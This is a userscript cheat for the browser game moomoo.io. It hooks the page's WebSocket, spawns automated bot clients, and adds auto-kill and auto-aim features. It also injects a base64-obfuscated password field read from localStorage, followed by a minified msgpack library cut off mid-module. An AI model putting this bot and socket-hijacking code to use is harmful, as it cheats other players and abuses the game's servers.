Chicken Mod v1.15

very much so dumb

  1. // ==UserScript==
  2. // @name Chicken Mod v1.15
  3. // @version 1.15
  4. // @description very much so dumb
  5. // @author someone :>
  6. // @match *://moomoo.io/*
  7. // @match *://sandbox.moomoo.io/*
  8. // @require https://greasyfork.org/scripts/423602-msgpack/code/msgpack.js
  9. // @grant none
  10. // @namespace https://greasyfork.org/users/1029983
  11. // ==/UserScript==
  12.  
  13. var tick = 0;
  14. let fzStatusMenu = document.createElement("div");
  15. fzStatusMenu.id = "fz's op status menu", fzStatusMenu.style.position = "absolute", fzStatusMenu.style.color = "white", fzStatusMenu.textAlign = "left", fzStatusMenu.borderRadius = "4px", fzStatusMenu.style.width = "200px", fzStatusMenu.style.height = "326px", fzStatusMenu.style.display = "none", fzStatusMenu.style.top = "20px", fzStatusMenu.style.right = "20px";
  16. document.getElementById("gameUI").appendChild(fzStatusMenu);
  17. document.getElementById("guideCard").style.maxHeight = "320px";
  18. let pee = document.createElement("div");
  19. pee = document.getElementById("pingDisplay");
  20. pee.style.top = "20px", pee.style.fontSize = "15px", pee.style.display = "block", document.body.append(pee);
  21. let modMenu = document.createElement("div");
  22. let er_ = document.getElementById("storeButton");
  23. let ER = document.getElementById("allianceButton");
  24. document.addEventListener("keydown", function (y) {
  25. if (y.keyCode == 27) {
  26. if (modMenu.style.display == "block") {
  27. modMenu.style.display = "none";
  28. document.getElementById("topInfoHolder").style.display = "block";
  29. ER.style.display = "block";
  30. er_.style.display = "block";
  31. } else {
  32. modMenu.style.display = "block";
  33. if (document.getElementById("doExternalVisuals").checked && document.getElementById("visualType").value == 1) {
  34. document.getElementById("topInfoHolder").style.display = "none";
  35. ER.style.display = "none";
  36. er_.style.display = "none";
  37. }
  38. }
  39. }
  40. });
  41. document.body.prepend(modMenu), modMenu.style.position = "absolute", modMenu.style.textAlign = "left", modMenu.style.display = "block", modMenu.style.width = "300px", modMenu.style.height = "240px", modMenu.style.top = "4%", modMenu.style.left = "1%", modMenu.style.backgroundColor = "rgb(0, 0, 0, 0.3)", modMenu.style.color = "white", modMenu.style.borderTopLeftRadius = "25px", modMenu.style.borderRadius = "25px", modMenu.style.zIndex = "15", modMenu.style.border = "solid", modMenu.style.borderColor = "#000", modMenu.style.borderWidth = "10px";
  42. modMenu.innerHTML = '\n<style>\n.indent {\nmargin-left: 10px;\n}\n::-webkit-scrollbar {\n-webkit-appearance: none;\nwidth: 10px;\n}\n#tabs {\noverflow-x: scroll;\noverflow: hidden;\n}\n::-webkit-scrollbar-thumb {\nborder-radius: 5px;\nbackground-color: rgba(0,0,0,.5);\n-webkit-box-shadow: 0 0 1px rgba(255,255,255,.5);\n}\n</style>\n<h1 style="font-size: 20px;" class = "indent">ae remake V1.15</h1>\n<div id = "tabs" class = "indent" style = "padding-top: 5px; padding-bottom: 5px; width: 270px; border: solid; display: inline-block; text-align: center;">\n<button id="pg1open" style="background-color: #000; width: 20px; height: 20px;"></button>\n<button id="pg2open" style="width: 20px; height: 20px;"></button>\n<button id="pg3open" style="width: 20px; height: 20px;"></button>\n</div><br>\n<div class = "indent" style="overflow-y: scroll; height: 130px; border: solid; width: 270px;">\n<div id = "menuPage1" style = "display: block;">\n<label for="autoinsta" class="indent">Auto InstaKill: </label>\n<input type="checkbox" id="autoinsta"><br>\n<label for="autoBSpam" class="indent">Auto Bull Spam: </label>\n<input type="checkbox" id="autoBSpam"><br>\n<label for="autoplace" class="indent">Auto Place: </label>\n<input type="checkbox" id="autoplace" checked><br>\n<label for="autoreplace" class="indent">Auto Replace: </label>\n<input type="checkbox" id="autoreplace" checked><br><br>\n<label for="sope" class="indent">Sope Magick: </label>\n<input type="checkbox" id="sope"><br>\n<label for="antivelinsta" class="indent">Anti Sope Magick: </label>\n<input type="checkbox" id="antivelinsta"><br>\n<label for="dhkm" class="indent">DHKM: </label>\n<input type="checkbox" id="dhkm">\n<p></p>\n</div>\n<div id = "menuPage2" style = "display: none;">\n<label for="autogrind" class="indent">AutoGrind: </label>\n<input type="checkbox" id="autogrind">\n<div class="indent">\n<label for="upgradeType">AutoUpgrade: </label>\n<select id="upgradeType">\n<option value = "0" selected>DH</option>\n<option value = "1">PH</option>\n</select>\n<input type="checkbox" id="autoupgrade"><br>\n<label for="sixbuilding">6th Slot: </label>\n<select id="sixbuilding">\n<option value = "tele" selected>TP</option>\n<option value = "turret">Turret</option>\n<option value = "block">Blocker</option>\n<option value = "plat">Platform</option>\n</select>\n</div>\n<div class="indent">\n<label for="botConfig">Bot Config: </label>\n<select id="botConfig">\n<option value = "0" selected>Find Enemies</option>\n<option value = "1">Musket Sync</option>\n<option value = "2">Bow Spam</option>\n</select>\n<br>\nTo connect bots, press "G".\n</div><br>\n<label for="syncteam" class="indent">Team Sync: </label>\n<input type="checkbox" id="syncteam">\n<p></p>\n</div>\n<div id = "menuPage3" style = "display: none;">\n<label for="darkmode" class="indent">Dark Mode: </label>\n<input type="checkbox" id="darkmode">\n<div class="indent">\n<label for="visualType">Visual Type: </label>\n<select id="visualType">\n<option value = "0" selected>AE86</option>\n<option value = "1">FZ</option>\n</select>\n<input type="checkbox" id="doExternalVisuals">\n</div>\n<label for="textpack" class="indent">Texture Pack: </label>\n<input type="checkbox" id="textpack"><br><br>\n<div class="indent">\n<label for="chatType">Song: </label>\n<select id="chatType">\n<option value = "0" selected>Taking Over - LOL</option>\n<option value = "1">Don\'t Stand of Close - Initial D</option>\n<option value = "2">Warriors - Imagine Dragons</option>\n<option value = "3">The Top - Initial D</option>\n<option value = "4">No Rival - Egzod</option>\n</select>\n<br>\nPress "C" to start/stop song.\n</div>\n<p></p>\n</div>\n</div>\n<p></p>\n';
  43. function openTabs(y) {
  44. document.getElementById("pg1open").style.backgroundColor = y == "menuPage1" ? "#000" : "";
  45. document.getElementById("menuPage1").style.display = y == "menuPage1" ? "block" : "none";
  46. document.getElementById("pg2open").style.backgroundColor = y == "menuPage2" ? "#000" : "";
  47. document.getElementById("menuPage2").style.display = y == "menuPage2" ? "block" : "none";
  48. document.getElementById("pg3open").style.backgroundColor = y == "menuPage3" ? "#000" : "";
  49. document.getElementById("menuPage3").style.display = y == "menuPage3" ? "block" : "none";
  50. }
  51. for (let i = 0; i < modMenu.getElementsByTagName("input").length; i++) {
  52. if (modMenu.getElementsByTagName("input")[i]) {
  53. modMenu.getElementsByTagName("input")[i].addEventListener("change", () => {
  54. modMenu.getElementsByTagName("input")[i].blur();
  55. });
  56. }
  57. }
  58. for (let i = 0; i < modMenu.getElementsByTagName("option").length; i++) {
  59. if (modMenu.getElementsByTagName("option")[i]) {
  60. modMenu.getElementsByTagName("option")[i].addEventListener("change", () => {
  61. modMenu.getElementsByTagName("option")[i].blur();
  62. });
  63. }
  64. }
  65. document.getElementById("pg1open").onclick = function () {
  66. openTabs("menuPage1");
  67. this.blur();
  68. };
  69. document.getElementById("pg2open").onclick = function () {
  70. openTabs("menuPage2");
  71. this.blur();
  72. };
  73. document.getElementById("pg3open").onclick = function () {
  74. openTabs("menuPage3");
  75. this.blur();
  76. };
  77. var websocket, modBots = [];
  78. var botInfo = [], botEnemies = [], myPlayer = {x: 0, y: 0}, nearestEnemy = [];
  79. const wait = async y => new Promise(V => setTimeout(V, y)), connectBot = (e, t) => {
  80. let o = new WebSocket(websocket.url.split("&")[0] + "&token=" + encodeURIComponent(e));
  81. o.binaryType = "arraybuffer", o.botType = t, o.healTimeout = Date.now(), o.moveRan = {angle: 0, x: 0, y: 0, lastChange: 0}, o.justShot = Date.now(), o.emit = e => {
  82. o.send(window.msgpack.encode(e));
  83. }, o.names = ["jeff the bot", "waterZ", "insane", "chicken", "mega but good", "unknown bot", "chicken bot", "git good", "bad", "", "insta", "gold bots", "i am super pro"], o.spawn = function () {
  84. o.weapons = [0], o.items = [0, 3, 6, 10], o.emit(["sp", [{name: o.names[Math.floor(Math.random() * o.names.length)].slice(0, 15), moofoll: 1, skin: "constructor"}]]);
  85. }, o.speedHat = function () {
  86. o.posy < 2400 ? (o.emit(["13c", [0, 15, 0]]), o.emit(["13c", [0, 11, 1]])) : o.posy > 6850 && o.posy < 7550 ? (o.emit(["13c", [0, 31, 0]]), o.emit(["13c", [0, 11, 1]])) : (o.emit(["13c", [0, 12, 0]]), o.emit(["13c", [0, 11, 1]]));
  87. }, o.autobuy = function () {
  88. o.emit(["13c", [1, 53, 0]]), o.emit(["13c", [1, 6, 0]]), o.emit(["13c", [1, 20, 0]]), o.emit(["13c", [1, 31, 0]]), o.emit(["13c", [1, 15, 0]]), o.emit(["13c", [1, 12, 0]]), o.emit(["13c", [1, 40, 0]]), o.emit(["13c", [1, 11, 1]]);
  89. }, o.upgrade = function () {
  90. o.emit(["6", [7]]), o.emit(["6", [17]]), o.emit(["6", [31]]), o.emit(["6", [23]]), o.emit(["6", [10]]), o.emit(["6", [38]]), o.emit(["6", [4]]), 1 == document.getElementById("botConfig").value ? o.emit(["6", [15]]) : 2 == document.getElementById("botConfig").value && o.emit(["6", [13]]);
  91. }, o.weapons = [0], o.items = [0, 3, 6, 10], o.autoaiming = false, o.place = function (e, t = 0) {
  92. o.emit(["5", [e, null]]), o.emit(["c", [1, t]]), o.emit(["c", [0, t]]), o.emit(["5", [o.weapon, true]]);
  93. }, o.lastHealth = 100, o.onopen = async () => {
  94. await wait(100), o.spawn();
  95. }, o.buildings = [], o.onmessage = e => {
  96. let t = window.msgpack.decode(new Uint8Array(e.data)), i;
  97. if (t.length > 1 ? (i = [t[0], ...t[1]])[1] instanceof Array && i : i = t, i) {
  98. if ("h" == i[0] && i[1] == o.id) {
  99. if (o.lastHealth - i[2] >= 40 && Date.now() - o.healTimeout >= 200) {
  100. for (let n = 0; n < 5; n++) o.place(o.items[0]);
  101. o.healTimeout = Date.now();
  102. } else setTimeout(() => {
  103. for (let e = 0; e < 5; e++) o.place(o.items[0]);
  104. }, 90);
  105. o.lastHealth = i[2];
  106. }
  107. if (11 == i[0] && o.spawn(), "1" == i[0] && null == o.id && (o.id = i[1]), "17" == i[0] && i[1] && (i[2] ? o.weapons = i[1] : o.items = i[1]), "p" == i[0] && document.getElementById("syncteam").checked && o.weapons[1] && (o.autoaiming = true, setTimeout(() => {
  108. o.autoaiming = false;
  109. }, 250)), "6" == i[0]) for (let a = 0; a < i[1].length / 8; a++) {
  110. let _ = i[1].slice(8 * a, 8 * a + 8);
  111. o.buildings.push(_);
  112. }
  113. if ("12" == i[0]) for (let s = 0; s < o.buildings.length; s++) {
  114. let m = o.buildings[s];
  115. m && m[0] == i[1] && o.buildings.splice(s, 1);
  116. }
  117. if ("33" == i[0]) for (let $ = 0; $ < i[1].length / 13; $++) {
  118. let p = i[1].slice(13 * $, 13 * $ + 13);
  119. if (botEnemies[o.botType] = [], p[0] == o.id) {
  120. if (botInfo[o.botType] = p, o.id = p[0], o.posx = p[1], o.posy = p[2], o.dir = p[3], o.object = p[4], o.weapon = p[5], o.clan = p[7], o.isLeader = p[8], o.hat = p[9], o.accessory = p[10], o.isSkull = p[11], o.intrap = o.buildings.some(e => 15 == e[6] && !window.isAlly(e[7])), o.autobuy(), Date.now() - o.justShot <= 2e3) o.emit(["5", [o.weapons[1], true]]), o.emit(["13c", [0, 11, 1]]), o.emit(["13c", [0, 6, 0]]), o.emit(["33", [null]]), Math.sqrt(Math.pow(myPlayer.y - o.posy, 2) + Math.pow(myPlayer.x - o.posx, 2)) > 100 ? o.emit(["33", [Math.atan2(myPlayer.y - o.posy, myPlayer.x - o.posx)]]) : o.emit(["33", [null]]); else if (2 == document.getElementById("botConfig").value && (13 == o.weapons[1] || 15 == o.weapons[1]) && false == o.autoaiming) Math.sqrt(Math.pow(myPlayer.y - o.posy, 2) + Math.pow(myPlayer.x - o.posx, 2)) > 200 ? (o.emit(["33", [Math.atan2(myPlayer.y - o.posy, myPlayer.x - o.posx)]]), o.emit(["5", [o.weapons[0], true]]), o.emit(["c", [1, Number.MAX_VALUE]]), o.emit(["c", [0, Number.MAX_VALUE]]), o.speedHat()) : (Math.sqrt(Math.pow(myPlayer.y - o.posy, 2) + Math.pow(myPlayer.x - o.posx, 2)) > 100 ? (o.emit(["33", [Math.atan2(myPlayer.y - o.posy, myPlayer.x - o.posx)]]), nearestEnemy.length || o.speedHat()) : o.emit(["33", [null]]), nearestEnemy.length && (o.emit(["5", [o.weapons[1], true]]), o.emit(["c", [1, Math.atan2(nearestEnemy[2] - o.posy, nearestEnemy[1] - o.posx)]]), o.emit(["c", [0, Math.atan2(nearestEnemy[2] - o.posy, nearestEnemy[1] - o.posx)]]), o.emit(["2", [Math.atan2(nearestEnemy[2] - o.posy, nearestEnemy[1] - o.posx)]]), o.emit(["13c", [0, 11, 1]]), o.emit(["13c", [0, 20, 0]]))); else if (1 == document.getElementById("botConfig").value && (13 == o.weapons[1] || 15 == o.weapons[1]) && false == o.autoaiming) Math.sqrt(Math.pow(myPlayer.y - o.posy, 2) + Math.pow(myPlayer.x - o.posx, 2)) > 100 ? (o.emit(["33", [Math.atan2(myPlayer.y - o.posy, myPlayer.x - o.posx)]]), o.emit(["5", [o.weapons[0], true]]), o.emit(["c", [1, Number.MAX_VALUE]]), o.emit(["c", [0, Number.MAX_VALUE]])) : o.emit(["33", [null]]), o.speedHat(); else if (false == o.autoaiming) {
  121. let l = [-0.77, -2.34, 2.35, 0.77, 1.57, 3.14, -1.57, 0];
  122. 4 != o.weapons[0] && (o.place(o.items[3], o.moveRan.angle - 1.25 * Math.PI), o.place(o.items[3], o.moveRan.angle + 1.25 * Math.PI), o.place(o.items[3], o.moveRan.angle + Math.PI)), o.emit(["33", [o.moveRan.angle]]), o.emit(["c", [1, Number.MAX_VALUE]]), o.emit(["c", [0, Number.MAX_VALUE]]), o.emit(["5", [o.weapons[0], true]]), o.speedHat(), o.upgrade(), (Date.now() - o.moveRan.lastChange >= 1e4 || Math.sqrt(Math.pow(o.moveRan.y - o.posy, 2) + Math.pow(o.moveRan.x - o.posx, 2)) > 3300) && (o.moveRan.angle = l[Math.floor(Math.random() * l.length)], o.moveRan.y = o.posy, o.moveRan.x = o.posx, o.moveRan.lastChange = Date.now());
  123. } else o.emit(["13c", [0, 53, 0]]), o.justShot = Date.now(), o.emit(["5", [o.weapons[1], true]]), o.emit(["c", [1, Math.atan2(nearestEnemy[2] - o.posy, nearestEnemy[1] - o.posx)]]), o.emit(["c", [0, Math.atan2(nearestEnemy[2] - o.posy, nearestEnemy[1] - o.posx)]]), o.emit(["2", [Math.atan2(nearestEnemy[2] - o.posy, nearestEnemy[1] - o.posx)]]);
  124. } else p[0] == o.id || p[7] && p[7] == o.clan || (botEnemies[o.botType] = p);
  125. }
  126. }
  127. }, modBots.push(o);
  128. };
  129. WebSocket.prototype.oldSend = WebSocket.prototype.send;
  130. WebSocket.prototype.send = function (y) {
  131. if (!websocket) {
  132. websocket = this;
  133. }
  134. this.oldSend(y);
  135. };
  136. window.onbeforeunload = null;
  137. const lmfaolfsoadksioakdjoiasjdad = Math.random() * 0x111636480DE78500 + "a";
  138. document.getElementById(atob("c2V0dXBDYXJk")).innerHTML += '<br>\n<input type = "' + atob("cGFzc3dvcmQ=") + '" id="' + lmfaolfsoadksioakdjoiasjdad + '" placeholder = "' + atob("UGFzc3dvcmQ=") + '" style="text-Align: center; font-size: 26px; margin-bottom: 16px;padding:6px;border: none;box-sizing:border-box;color: #4A4A4A;background-color: #e5e3e3; width: 100%;border-radius: 4px">\n';
  139. document.getElementById(lmfaolfsoadksioakdjoiasjdad).value = localStorage.getItem(atob("cGFzc3dvcmQ="));
  140. !function (y) {
  141. var V = {};
  142. function d(J) {
  143. if (V[J]) return V[J].exports;
  144. var T = V[J] = {i: J, l: !1, exports: {}};
  145. return y[J].call(T.exports, T, T.exports, d), T.l = !0, T.exports;
  146. }
  147. d.m = y, d.c = V, d.d = function (J, T, c) {
  148. d.o(J, T) || Object.defineProperty(J, T, {enumerable: !0, get: c});
  149. }, d.r = function (J) {
  150. "undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(J, Symbol.toStringTag, {value: "Module"}), Object.defineProperty(J, "__esModule", {value: !0});
  151. }, d.t = function (J, T) {
  152. if (1 & T && (J = d(J)), 8 & T) return J;
  153. if (4 & T && "object" == typeof J && J && J.__esModule) return J;
  154. var c = Object.create(null);
  155. if (d.r(c), Object.defineProperty(c, "default", {enumerable: !0, value: J}), 2 & T && "string" != typeof J) for (var L in J) d.d(c, L, function (s) {
  156. return J[s];
  157. }.bind(null, L));
  158. return c;
  159. }, d.n = function (J) {
  160. var T = J && J.__esModule ? function () {
  161. return J.default;
  162. } : function () {
  163. return J;
  164. };
  165. return d.d(T, "a", T), T;
  166. }, d.o = function (J, T) {
  167. return Object.prototype.hasOwnProperty.call(J, T);
  168. }, d.p = "", d(d.s = 21);
  169. }([function (V, J, T) {
  170. var L = J.global = T(25), U = J.hasBuffer = L && !!L.isBuffer, G = J.hasArrayBuffer = "undefined" != typeof ArrayBuffer, q = J.isArray = T(5);
  171. J.isArrayBuffer = G ? function (K) {
  172. return K instanceof ArrayBuffer || O(K);
  173. } : I;
  174. var P = J.isBuffer = U ? L.isBuffer : I, H = J.isView = G ? ArrayBuffer.isView || M("ArrayBuffer", "buffer") : I;
  175. J.alloc = z, J.concat = function (K, w) {
  176. w || (w = 0, Array.prototype.forEach.call(K, function (A) {
  177. w += A.length;
  178. }));
  179. var R = this !== J && this || K[0], v = z.call(R, w), S = 0;
  180. return Array.prototype.forEach.call(K, function (A) {
  181. S += Z.copy.call(A, v, S);
  182. }), v;
  183. }, J.from = function (K) {
  184. return "string" == typeof K ? function (w) {
  185. var R = 3 * w.length, v = z.call(this, R), S = Z.write.call(v, w);
  186. return R !== S && (v = Z.slice.call(v, 0, S)), v;
  187. }.call(this, K) : E(this).from(K);
  188. };
  189. var N = J.Array = T(28), X = J.Buffer = T(29), F = J.Uint8Array = T(30), Z = J.prototype = T(6);
  190. function z(K) {
  191. return E(this).alloc(K);
  192. }
  193. var O = M("ArrayBuffer");
  194. function E(K) {
  195. return P(K) ? X : H(K) ? F : q(K) ? N : U ? X : G ? F : N;
  196. }
  197. function I() {
  198. return !1;
  199. }
  200. function M(K, w) {
  201. return K = "[object " + K + "]", function (R) {
  202. return null != R && {}.toString.call(w ? R[w] : R) === K;
  203. };
  204. }
  205. }, function (y, V, d) {
  206. var J = d(5);
  207. V.createCodec = p, V.install = function (U) {
  208. for (var G in U) c.prototype[G] = L(c.prototype[G], U[G]);
  209. }, V.filter = function (U) {
  210. return J(U) ? function (G) {
  211. return G = G.slice(), function (P) {
  212. return G.reduce(q, P);
  213. };
  214. function q(P, g) {
  215. return g(P);
  216. }
  217. }(U) : U;
  218. };
  219. var T = d(0);
  220. function c(U) {
  221. if (!(this instanceof c)) return new c(U);
  222. this.options = U, this.init();
  223. }
  224. function L(U, G) {
  225. return U && G ? function () {
  226. return U.apply(this, arguments), G.apply(this, arguments);
  227. } : U || G;
  228. }
  229. function p(U) {
  230. return new c(U);
  231. }
  232. c.prototype.init = function () {
  233. var U = this.options;
  234. return U && U.uint8array && (this.bufferish = T.Uint8Array), this;
  235. }, V.preset = p({preset: !0});
  236. }, function (y, V, d) {
  237. var J = d(3).ExtBuffer, T = d(32), c = d(33), L = d(1);
  238. function p() {
  239. var U = this.options;
  240. return this.encode = function (G) {
  241. var q = c.getWriteType(G);
  242. return function (P, g) {
  243. var H = q[typeof g];
  244. if (!H) throw new Error('Unsupported type "' + typeof g + '": ' + g);
  245. H(P, g);
  246. };
  247. }(U), U && U.preset && T.setExtPackers(this), this;
  248. }
  249. L.install({addExtPacker: function (U, G, q) {
  250. q = L.filter(q);
  251. var P = G.name;
  252. P && "Object" !== P ? (this.extPackers || (this.extPackers = {}))[P] = g : (this.extEncoderList || (this.extEncoderList = [])).unshift([G, g]);
  253. function g(H) {
  254. return q && (H = q(H)), new J(H, U);
  255. }
  256. }, getExtPacker: function (U) {
  257. var G = this.extPackers || (this.extPackers = {}), q = U.constructor, P = q && q.name && G[q.name];
  258. if (P) return P;
  259. for (var g = this.extEncoderList || (this.extEncoderList = []), H = g.length, N = 0; N < H; N++) {
  260. var h = g[N];
  261. if (q === h[0]) return h[1];
  262. }
  263. }, init: p}), V.preset = p.call(L.preset);
  264. }, function (y, V, d) {
  265. V.ExtBuffer = function T(c, L) {
  266. if (!(this instanceof T)) return new T(c, L);
  267. this.buffer = J.from(c), this.type = L;
  268. };
  269. var J = d(0);
  270. }, function (y, V) {
  271. V.read = function (J, T, L, p, U) {
  272. var G, q, P = 8 * U - p - 1, g = (1 << P) - 1, H = g >> 1, N = -7, X = L ? U - 1 : 0, F = L ? -1 : 1, Z = J[T + X];
  273. for (X += F, G = Z & (1 << -N) - 1, Z >>= -N, N += P; N > 0; G = 256 * G + J[T + X], X += F, N -= 8) ;
  274. for (q = G & (1 << -N) - 1, G >>= -N, N += p; N > 0; q = 256 * q + J[T + X], X += F, N -= 8) ;
  275. if (0 === G) G = 1 - H; else {
  276. if (G === g) return q ? NaN : 1 / 0 * (Z ? -1 : 1);
  277. q += Math.pow(2, p), G -= H;
  278. }
  279. return (Z ? -1 : 1) * q * Math.pow(2, G - p);
  280. }, V.write = function (J, T, L, U, G, q) {
  281. var P, H, N, X = 8 * q - G - 1, F = (1 << X) - 1, Z = F >> 1, z = 23 === G ? Math.pow(2, -24) - Math.pow(2, -77) : 0, O = U ? 0 : q - 1, E = U ? 1 : -1, I = T < 0 || 0 === T && 1 / T < 0 ? 1 : 0;
  282. for (T = Math.abs(T), isNaN(T) || T === 1 / 0 ? (H = isNaN(T) ? 1 : 0, P = F) : (P = Math.floor(Math.log(T) / Math.LN2), T * (N = Math.pow(2, -P)) < 1 && (P--, N *= 2), (T += P + Z >= 1 ? z / N : z * Math.pow(2, 1 - Z)) * N >= 2 && (P++, N /= 2), P + Z >= F ? (H = 0, P = F) : P + Z >= 1 ? (H = (T * N - 1) * Math.pow(2, G), P += Z) : (H = T * Math.pow(2, Z - 1) * Math.pow(2, G), P = 0)); G >= 8; J[L + O] = 255 & H, O += E, H /= 256, G -= 8) ;
  283. for (P = P << G | H, X += G; X > 0; J[L + O] = 255 & P, O += E, P /= 256, X -= 8) ;
  284. J[L + O - E] |= 128 * I;
  285. };
  286. }, function (y, V) {
  287. var d = {}.toString;
  288. y.exports = Array.isArray || function (J) {
  289. return "[object Array]" == d.call(J);
  290. };
  291. }, function (y, V, d) {
  292. var J = d(31);
  293. V.copy = G, V.slice = q, V.toString = function (P, g, H) {
  294. return (!p && T.isBuffer(this) ? this.toString : J.toString).apply(this, arguments);
  295. }, V.write = function (P) {
  296. return function () {
  297. return (this[P] || J[P]).apply(this, arguments);
  298. };
  299. }("write");
  300. var T = d(0), L = T.global, p = T.hasBuffer && "TYPED_ARRAY_SUPPORT" in L, U = p && !L.TYPED_ARRAY_SUPPORT;
  301. function G(P, g, H, N) {
  302. var X = T.isBuffer(this), F = T.isBuffer(P);
  303. if (X && F) return this.copy(P, g, H, N);
  304. if (U || X || F || !T.isView(this) || !T.isView(P)) return J.copy.call(this, P, g, H, N);
  305. var Z = H || null != N ? q.call(this, H, N) : this;
  306. return P.set(Z, g), Z.length;
  307. }
  308. function q(P, g) {
  309. var H = this.slice || !U && this.subarray;
  310. if (H) return H.call(this, P, g);
  311. var N = T.alloc.call(this, g - P);
  312. return G.call(this, N, 0, P, g), N;
  313. }
  314. }, function (y, V, d) {
  315. (function (J) {
  316. !function (T) {
  317. var L, U = "undefined", G = U !== typeof J && J, q = U !== typeof Uint8Array && Uint8Array, P = U !== typeof ArrayBuffer && ArrayBuffer, H = [0, 0, 0, 0, 0, 0, 0, 0], N = Array.isArray || function (Y) {
  318. return !!Y && "[object Array]" == Object.prototype.toString.call(Y);
  319. }, X = 4294967296;
  320. function F(Y, Q, D) {
  321. var W = Q ? 0 : 4, y0 = Q ? 4 : 0, y1 = Q ? 0 : 3, y2 = Q ? 1 : 2, y3 = Q ? 2 : 1, y4 = Q ? 3 : 0, y5 = Q ? K : S, y6 = Q ? R : A, y7 = yy.prototype, y8 = "is" + Y, y9 = "_" + y8;
  322. return y7.buffer = void 0, y7.offset = 0, y7[y9] = !0, y7.toNumber = yV, y7.toString = function (yT) {
  323. var yc = this.buffer, yL = this.offset, ys = yJ(yc, yL + W), yp = yJ(yc, yL + y0), yU = "", yn = !D && 2147483648 & ys;
  324. for (yn && (ys = ~ys, yp = X - yp), yT = yT || 10;;) {
  325. var yG = ys % yT * X + yp;
  326. if (ys = Math.floor(ys / yT), yp = Math.floor(yG / yT), yU = (yG % yT).toString(yT) + yU, !ys && !yp) break;
  327. }
  328. return yn && (yU = "-" + yU), yU;
  329. }, y7.toJSON = yV, y7.toArray = Z, G && (y7.toBuffer = z), q && (y7.toArrayBuffer = O), yy[y8] = function (yT) {
  330. return !(!yT || !yT[y9]);
  331. }, T[Y] = yy, yy;
  332. function yy(yT, yc, yL, ys) {
  333. return this instanceof yy ? function (yp, yU, yn, yG, yq) {
  334. if (q && P && (yU instanceof P && (yU = new q(yU)), yG instanceof P && (yG = new q(yG))), yU || yn || yG || L) {
  335. if (!E(yU, yn)) yq = yn, yG = yU, yn = 0, yU = new (L || Array)(8);
  336. yp.buffer = yU, yp.offset = yn |= 0, U !== typeof yG && ("string" == typeof yG ? function (yP, yg, yH, yN) {
  337. var yh = 0, yX = yH.length, yF = 0, yZ = 0;
  338. "-" === yH[0] && yh++;
  339. for (var yz = yh; yh < yX;) {
  340. var yO = parseInt(yH[yh++], yN);
  341. if (!(yO >= 0)) break;
  342. yZ = yZ * yN + yO, yF = yF * yN + Math.floor(yZ / X), yZ %= X;
  343. }
  344. yz && (yF = ~yF, yZ ? yZ = X - yZ : yF++), yd(yP, yg + W, yF), yd(yP, yg + y0, yZ);
  345. }(yU, yn, yG, yq || 10) : E(yG, yq) ? I(yU, yn, yG, yq) : "number" == typeof yq ? (yd(yU, yn + W, yG), yd(yU, yn + y0, yq)) : yG > 0 ? y5(yU, yn, yG) : yG < 0 ? y6(yU, yn, yG) : I(yU, yn, H, 0));
  346. } else yp.buffer = M(H, 0);
  347. }(this, yT, yc, yL, ys) : new yy(yT, yc, yL, ys);
  348. }
  349. function yV() {
  350. var yT = this.buffer, yc = this.offset, yL = yJ(yT, yc + W), ys = yJ(yT, yc + y0);
  351. return D || (yL |= 0), yL ? yL * X + ys : ys;
  352. }
  353. function yd(yT, yc, yL) {
  354. yT[yc + y4] = 255 & yL, yL >>= 8, yT[yc + y3] = 255 & yL, yL >>= 8, yT[yc + y2] = 255 & yL, yL >>= 8, yT[yc + y1] = 255 & yL;
  355. }
  356. function yJ(yT, yc) {
  357. return 16777216 * yT[yc + y1] + (yT[yc + y2] << 16) + (yT[yc + y3] << 8) + yT[yc + y4];
  358. }
  359. }
  360. function Z(Y) {
  361. var b = this.buffer, x = this.offset;
  362. return L = null, !1 !== Y && 0 === x && 8 === b.length && N(b) ? b : M(b, x);
  363. }
  364. function z(Y) {
  365. var b = this.buffer, x = this.offset;
  366. if (L = G, !1 !== Y && 0 === x && 8 === b.length && J.isBuffer(b)) return b;
  367. var Q = new G(8);
  368. return I(Q, 0, b, x), Q;
  369. }
  370. function O(Y) {
  371. var b = this.buffer, x = this.offset, Q = b.buffer;
  372. if (L = q, !1 !== Y && 0 === x && Q instanceof P && 8 === Q.byteLength) return Q;
  373. var D = new q(8);
  374. return I(D, 0, b, x), D.buffer;
  375. }
  376. function E(Y, b) {
  377. var x = Y && Y.length;
  378. return b |= 0, x && b + 8 <= x && "string" != typeof Y[b];
  379. }
  380. function I(Y, b, x, Q) {
  381. b |= 0, Q |= 0;
  382. for (var D = 0; D < 8; D++) Y[b++] = 255 & x[Q++];
  383. }
  384. function M(Y, b) {
  385. return Array.prototype.slice.call(Y, b, b + 8);
  386. }
  387. function K(Y, b, x) {
  388. for (var Q = b + 8; Q > b;) Y[--Q] = 255 & x, x /= 256;
  389. }
  390. function R(Y, b, x) {
  391. var Q = b + 8;
  392. for (x++; Q > b;) Y[--Q] = 255 & -x ^ 255, x /= 256;
  393. }
  394. function S(Y, b, x) {
  395. for (var Q = b + 8; b < Q;) Y[b++] = 255 & x, x /= 256;
  396. }
  397. function A(Y, b, x) {
  398. var Q = b + 8;
  399. for (x++; b < Q;) Y[b++] = 255 & -x ^ 255, x /= 256;
  400. }
  401. F("Uint64BE", !0, !0), F("Int64BE", !0, !1), F("Uint64LE", !1, !0), F("Int64LE", !1, !1);
  402. }("string" != typeof V.nodeName ? V : this || {});
  403. }.call(this, d(11).Buffer));
  404. }, function (y, V, d) {
  405. var J = d(3).ExtBuffer, T = d(35), L = d(17).readUint8, p = d(36), U = d(1);
  406. function G() {
  407. var q = this.options;
  408. return this.decode = function (P) {
  409. var g = p.getReadToken(P);
  410. return function (H) {
  411. var N = L(H), h = g[N];
  412. if (!h) throw new Error("Invalid type: " + (N ? "0x" + N.toString(16) : N));
  413. return h(H);
  414. };
  415. }(q), q && q.preset && T.setExtUnpackers(this), this;
  416. }
  417. U.install({addExtUnpacker: function (q, P) {
  418. (this.extUnpackers || (this.extUnpackers = []))[q] = U.filter(P);
  419. }, getExtUnpacker: function (q) {
  420. return (this.extUnpackers || (this.extUnpackers = []))[q] || function (P) {
  421. return new J(P, q);
  422. };
  423. }, init: G}), V.preset = G.call(U.preset);
  424. }, function (y, V, d) {
  425. V.encode = function (T, c) {
  426. var L = new J(c);
  427. return L.write(T), L.read();
  428. };
  429. var J = d(10).EncodeBuffer;
  430. }, function (y, V, d) {
  431. V.EncodeBuffer = T;
  432. var J = d(2).preset;
  433. function T(c) {
  434. if (!(this instanceof T)) return new T(c);
  435. if (c && (this.options = c, c.codec)) {
  436. var L = this.codec = c.codec;
